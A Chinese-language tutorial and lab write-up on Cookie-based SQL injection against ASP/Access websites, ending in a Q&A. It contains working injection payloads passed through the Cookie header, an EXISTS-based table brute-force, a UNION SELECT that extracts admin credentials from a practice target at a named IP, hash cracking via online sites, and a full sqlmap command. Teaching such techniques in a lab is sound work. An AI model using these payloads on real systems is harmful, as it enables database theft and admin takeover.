🛑郑重声明
此文章仅供学习交流与参考使用,禁止运用于任何非法行动或测试中,若有预期之外的后果,将不承担任何责任!!
Cookie注入
Cookie注入简介
开发人员用REQUEST进行获取参数,当Cookie里面具有相同的键值时,如果传参无该键,将会从Cookie中获取。后台校验又没有对Cookie进行校验,所以会产生Cookie注入。
Cookie注入在ASP网站中和低版本php中才会有,ASP常用的数据库是Accsess。Accsess数据库又比较特殊,所以这边用Accsess讲解。
为什么可以cookie注入
因为在这里接受参数的时候使用了REQUEST,他可以接受get 和POST 和 COOKIE的传参
cookie注入满足条件
网站会获取Cookie传参然后和原有的SQL语句拼接再传入数据库
Cookie注入常见吗?
老一点的ASP网站常见,PHP看版本,因为高于5.4以上的php版本他的$_REQUEST将不再接受cookie传参
怎么修改Cookie
- Burp抓取数据包直接修改数据包的值,添加一个Cookie字段在请求头里面
- 使用浏览器插件修改Cookie
- 使用JS修改Cookie document.cookie=”id=” + escape(“171”) escape是一个编码函数,这个函数会进行一次URL编码
注意点:Cookie传参值需要URL编码,大家记得传参的值URL编码下
在线URL编码地址:UrlEncode编码/UrlDecode解码 - 站长工具
Cookie注入靶场讲解
最简单的联合查询获取表名字段名不能用,因为是Access数据库,我们没有系统自带表,而且Access数据库只有一个数据库,不用纠结库名。那么怎么获取Access数据库的表名和字段名,方法只有爆破,and exists (select*from 表名) 如果页面正常,就是存在这个表
exists 这个函数就是检查子查询能否查询到数据,如果能会返回一个True
SQLmap如何跑Cookie注入 sqlmap.py -u “http://59.63.200.79:8004/shownews.asp“ —cookie “id=171” —level 2
去处GET传参,修改为Cookie:id=172 AND 1=1,发现页面展示正常,修改为Cookie:id=172 AND 1=2,发现页面展示不正常,确认为Cookie注入
不正常页面
去处GET传参,修改为Cookie:id=172 ORDER BY 10,发现页面展示正常,修改为Cookie:id=172 ORDER BY 11,发现页面展示不正常,确认展示字段个数为10个
不正常页面
因为是Access数据库,我们没有系统自带表,而且Access数据库只有一个数据库,不用纠结库名。那么怎么获取Access数据库的表名和字段名,方法只有爆破。and exists (selectfrom 表名) 如果页面正常,就是存在这个表
去处GET传参,修改为Cookie:id=172 and exists (selectfrom admin) ,发现页面展示正常,说明存在admin表
修改为Cookie:id=172 and exists (select username from admin) ,发现页面展示正常,说明admin表存在username字段
修改为Cookie:id=172 and exists (select password from admin) ,发现页面展示正常,说明admin表存在password 字段
修改为Cookie:id=172 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM admin ,根据结果可以知道 2和3均可以作为输出点
修改为Cookie:id=172 and 1=2 UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM admin
密码:b9a2a2b5dffb918c这是密文,通过在线网站解密
http://cmd5.com
http://somd5.com
账号:admin
密码:welcome
http://59.63.200.79:8004/admin/Login.asp
zkz{welcome-control}
Cookie注入常见问题
-
Cookie注入常见吗?
老一点的ASP网站常见,PHP看版本,因为高于5.4以上的php版本他的$_REQUEST将不再接受cookie传参
-
COOKIE注入时为什么要删除URL内的id传参
因为它传参进去会有一个输出,cookie里我们也传参了一个id数值,他会优先接受GET的传参,具体也是要看语言的,我测试过,PHP会优先接受Cookie传参
-
为什么可以cookie注入
因为在这里接受参数的时候使用了REQUEST,他可以接受get 和POST 和 COOKIE的传参
-
为什么没用到information_schema
access数据库里没有系统自带表,只能猜
-
不能查information_schema怎么得知表名
可以靠爆破和尝试一些常用表名(例如:news、admin、user)
-
为什么cookie注入里查找回显点语句后要加上from admin
因为access数据库不支持select 1,2,3 这样的语句,他必须要跟表名
-
为什么cookie注入语句后面不用加注释
这个和SQL语句的组成部分有关,你注入的地方语句如果是
Select*from news where id=1 然后注入点在id=这里自然可以不加注释 -
为什么cookie注入可以绕过验证
因为早期网站防护只检测GET和POST传参,没有检测COOKIE
-
sqlmap如何进行cookie注入
Sqlmap可以提高检测等级来进行cookie注入(检测等级3及以上,要指定参数)
还可以抓包,在Cookie后面打个*就可以了 -
在无法查询系统自带库的时候如何获取表名
可以burp抓包爆破查询表名,因为表名的命名一般都有规则
and exist(select * from xxx) -
cookie注入和显错注入,盲注这些有什么不同
我们课堂演示的Cookie注入属于显错注入,凡事都是讲究对应,例如大对小 胖对瘦 高对矮。Cookie注入的核心是传参方式,他对应的应该是POST注入之类的。显错注入的分类很明显核心看是否是显错,那么对应的就是盲注或者报错注入之类的。
-
什么是cookie
一种储存在用户本地上的数据,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)
-
如何去修改cookie
- 可以抓包修改(burp)
- 可以在浏览器里打开f12控制台通过JS修改,还可以在存储里修改cookie
- 可以使用插件修改(modify headers)
-
Cookie注入中可以用盲注的方式去判断表名吗
可以呀,不过能用显错就用显错,这里即使是用盲注还是得暴力猜解表名
-
Cookie注入只能在Access数据库上面使用吗?
并不是呀,基本上所有数据库都能呀,Cookie注入核心是传参方式,传参方式和数据库类型没有关系呀,是动态脚本语言干的事,这个锅数据库他不背。
-
Cookie注入仅仅在ASP站点有吗?
Cookie注入在PHP中也有,但是最多得还是ASP,因为PHP在5.4的版本$_REQUEST就不会再接受Cookie传参了。
-
为什么我写的语句放入Cookie无效,SQL注入无效
因为Cookie需要进行一次URL编码才会有效果
-
为什么我谷歌直接修改Cookie没有效果
建议使用火狐浏览器,不要使用谷歌
-
如果用Sqlmap直接跑Cookie注入
sqlmap.py -u “http://59.63.200.79:8004/shownews.asp“ —cookie “id=171” —level 2